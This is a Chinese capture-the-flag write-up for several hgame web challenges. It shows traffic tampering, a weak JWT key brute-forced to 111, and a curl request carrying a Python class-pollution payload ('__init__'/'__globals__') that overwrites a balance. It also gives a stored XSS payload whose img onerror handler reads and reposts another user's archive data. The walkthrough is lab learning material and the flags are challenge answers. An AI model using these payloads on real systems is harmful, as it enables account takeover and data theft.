魔理沙的魔法目录

题目描述:

这是魔理沙从帕秋莉的藏书中找来的一系列魔法书

她说, 如果你能阅读他们 1 个小时以上, 就会给你奖励!

直接抓包

java_UFnyCs3Ugx 看到时间直接改大放包,flag就出来了

image-20260305181752105

hgame{YoU-4re_@1s0-4-m4Hou_T5Uk@I-NOwlf0b16}

Vidarshop

登录窗口进来是个商店,经典没钱买flag。

题目描述提示管理员账户可以管钱,登录处不能写特殊符号。

找半天原来是jwt

image-20260305183726266 在这藏着

JWT弱密钥爆破结果为111,然而我们把role改成admin或者id改成admin没有卵用?

image-20260305184521018 发现是uid的问题,注册几个账户发现uid规律

a,b,c,d…z对应1-26,数字直接对应,推出admin为1413914

终于登录为了admin,然后还是买不了。通过改包或者抢米都改不了余额

我们再看上图,uid 在 Header 里,使用POST /api/upadte,下面还有json大括号

所以尝试python原型链污染,在抢米的时候抓包得知变量叫balance

xiaochai_123@binarios:~$ curl -X POST "http://forward.vidar.club:30452//api/update" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzcyNzA4Nzg4fQ.BZjJ7f_603GwNzZFWxWCyY7R36PItLaB3wgqPHy3vKo" \
  -H "uid: 1413914" \
  -H "Content-Type: application/json" \
  -d "{\"__init__\": {\"__globals__\": {\"balance\": 2000000}}}"
{"is_admin":true,"msg":"System Access Granted","user_info":{"balance":2000000,"role":"user","username":"admin"}}
xiaochai_123@binarios:~$

现在我们就有钱直接买flag啦image-20260305185510259

博丽神社的绘马挂

随便登录就登录上了?然后是发帖系统,考察XSS

xss img标签外带出网,把灵梦的信息偷了

<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>{fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'ARCHIVE:'+btoa(unescape(encodeURIComponent(t))),is_private:false})})})">

出网弄不出来,直接让他把flag发出来看

msedge_slJq5rulWJ java_BEku7DrBv2

MyMonitor

NaCl闲得发昏了写了个简易WebShell并隔一段时间输入“ls”命令,你能想办法偷到flag吗?